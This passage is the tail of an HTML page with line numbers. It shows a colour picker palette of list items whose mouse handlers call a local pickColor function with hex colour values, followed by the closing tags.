347:       <li class="color" style="background: #FF00CC" onmouseover="pickColor('FF00CC', 0);" onclick="pickColor('FF00CC', 1);">&nbsp;</li>
348:       <li class="color" style="background: #FF33CC" onmouseover="pickColor('FF33CC', 0);" onclick="pickColor('FF33CC', 1);">&nbsp;</li>
349:       <li class="color" style="background: #FF66CC" onmouseover="pickColor('FF66CC', 0);" onclick="pickColor('FF66CC', 1);">&nbsp;</li>
350:       <li class="color" style="background: #FF99CC" onmouseover="pickColor('FF99CC', 0);" onclick="pickColor('FF99CC', 1);">&nbsp;</li>
351:       <li class="color" style="background: #FFCCCC" onmouseover="pickColor('FFCCCC', 0);" onclick="pickColor('FFCCCC', 1);">&nbsp;</li>
352:       <li class="color" style="background: #FFFFCC" onmouseover="pickColor('FFFFCC', 0);" onclick="pickColor('FFFFCC', 1);">&nbsp;</li>
353:       <li class="color" style="background: #FF00FF" onmouseover="pickColor('FF00FF', 0);" onclick="pickColor('FF00FF', 1);">&nbsp;</li>
354:
355:       <li class="color" style="background: #FF33FF" onmouseover="pickColor('FF33FF', 0);" onclick="pickColor('FF33FF', 1);">&nbsp;</li>
356:       <li class="color" style="background: #FF66FF" onmouseover="pickColor('FF66FF', 0);" onclick="pickColor('FF66FF', 1);">&nbsp;</li>
357:       <li class="color" style="background: #FF99FF" onmouseover="pickColor('FF99FF', 0);" onclick="pickColor('FF99FF', 1);">&nbsp;</li>
358:       <li class="color" style="background: #FFCCFF" onmouseover="pickColor('FFCCFF', 0);" onclick="pickColor('FFCCFF', 1);">&nbsp;</li>
359:       <li class="color" style="background: #FFFFFF" onmouseover="pickColor('FFFFFF', 0);" onclick="pickColor('FFFFFF', 1);">&nbsp;</li>
360:     </ul>
361:   </li>
362: </ul>
363: </div>
364: </body>
365: </html>
366:
367:
368: